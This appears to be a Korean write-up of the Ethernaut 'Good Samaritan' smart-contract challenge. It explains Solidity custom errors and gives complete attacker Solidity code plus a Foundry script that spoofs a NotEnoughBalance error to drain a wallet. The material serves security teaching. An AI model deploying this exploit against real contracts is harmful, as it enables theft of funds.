> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/27.-good-samaritan.md).

# 27. Good Samaritan

\#custom-error

> 이 인스턴스는 부유하고 동전을 요청하는 누구에게나 기부할 준비가 된 착한 사마리아인을 나타냅니다.
>
> 당신은 그의 지갑에서 모든 잔액을 빼낼 수 있을까요?
>
> 도움이 될 만한 것을:
>
> * [Solidity의 사용자 정의 오류(Custom Errors)](https://blog.soliditylang.org/2021/04/21/custom-errors/)

우리에게 돈을 나눠주는 착한 부자의 모든 돈을 탈취하자

### 들어가기 전에

1. 커스텀 에러

&#x20;Solidity 0.8.4부터는 require나 revert 대신 커스텀 에러를 사용해 가스 효율적인 오류 처리가 가능해졌다.

커스텀 에러는 스마트 컨트랙트에서 발생할 수 있는 오류를 타입처럼 정의하여 발생시키며 이전의 오류 메시지를 문자열로 전달하는 방식보다 가독성이 높고 비용도 적게 든다.

#### 커스텀 에러 방식

```solidity
error NotEnoughBalance();
```

에러 선언

```solidity
revert NotEnoughBalance();
```

에러 발생 코드

기존 방식

```solidity
require(condition, "NotEnoughBalance");
```

기존의 require은 연산을 필요로 한다. (비교 후 에러 반환)

***

### 원본 소스 코드

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) { //[1]
            return true;
        } catch (bytes memory err) {  //[2]
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_); //[4]
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10); //[3]
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}
```

{% code overflow="wrap" %}

```
[1] : requestDonation() 이 호출되면 Wallet.Donate10() 이 실행.
[2] : 만일 Wallet.Donate10()에서 “NotEnoughBalance()” 에러가 발생하면 wallet.transferRemainer() 가 실행.
[3] : donate10() 은 coin.transfer() 를 실행하여 dest에 10이더 전송.
[4] : coin.transfer() 는 dest 가 contract일 때 dest의 INotifyable(dest_).notify(amount_)를 실행.
```

{% endcode %}

***

### 공격 시나리오

1. INotifyable 를 상속받으면서 “NotEnoughBalance()” 커스텀 에러를 반환하는 notify() 함수를 가진 contract를 배포한다.
2. 배포된 컨트랙트가 문제 인스턴스의 requestDonation()를 호출한다. ( requestDonation() → Wallet.Donate10() → Coin.transfer() → INotifyable(dest).notify(); 순서대로 호출된다. )
3. dest는 우리가 배포한 contract이므로 “NotEnoughBalance()” 커스텀 에러를 반환하게 한다.
4. 첫번째 호출에서는 에러가 발생해야 하지만 Wallet.transferRemainer()가 호출한 Coin.transfer()에서는 에러가 발생하면 안되기 때문에 10 이더를 보낼 때만 커스텀 에러 “NotEnoughBalance()”가 반환되도록 해야한다.

***

### 공격 코드

```solidity
//AttackGoodSamaritan.sol
pragma solidity ^0.8.13;

interface GoodSamaritan {
    function requestDonation() external;
    
}
interface INotifyable {
    function notify(uint256 amount) external;
}

contract AttackGoodSamaritan is INotifyable {
    address public target;
    error NotEnoughBalance();

    constructor(address _target){
        target = _target;
    }

    function attack() external {
        GoodSamaritan(target).requestDonation();
    }

    function notify(uint256 amount) external {
         if (amount == 10) {
            revert NotEnoughBalance();
        }
    }
    
}
```

해당 컨트랙트를 작성 후 스크립트로 배포한다.

```solidity
//Attack.s.sol
pragma solidity ^0.8.13;

import "../forge-std/Script.sol";
import "../src/AttackGoodSamaritan.sol";

contract AttackScript is Script {
        address target = [타겟 주소];
    function run() external {
        
        vm.startBroadcast();

        AttackGoodSamaritan Attacker = new AttackGoodSamaritan(target);

        Attacker.attack();

        vm.stopBroadcast();
    }
}

```

***

### &#x20;:bangbang:더 알아보기:bangbang:

> 축하합니다!
>
> Solidity에서 사용자 정의 오류(Custom Errors)는 4바이트 길이의 선택자(`selector`)로 식별되며, 함수 호출과 마찬가지로 호출 체인 전체에 걸쳐 전파(bubbling)됩니다.
>
> GoodSamaritan의 `requestDonation()` 함수에서 사용된 것처럼, 이 오류는 try-catch 블록에서 포착될 수 있습니다.
>
> 따라서 오류가 반드시 현재 호출 중인 컨트랙트(지갑 등)에서 발생했다고 가정해서는 안 됩니다. 호출 체인의 하위에 있는 다른 컨트랙트에서도 동일한 오류를 정의하고 예상치 못한 위치에서 발생시킬 수 있습니다. 예를 들어, 공격자 컨트랙트의 `notify(uint256 amount)` 함수 안에서 오류를 던질 수도 있는 것이죠.
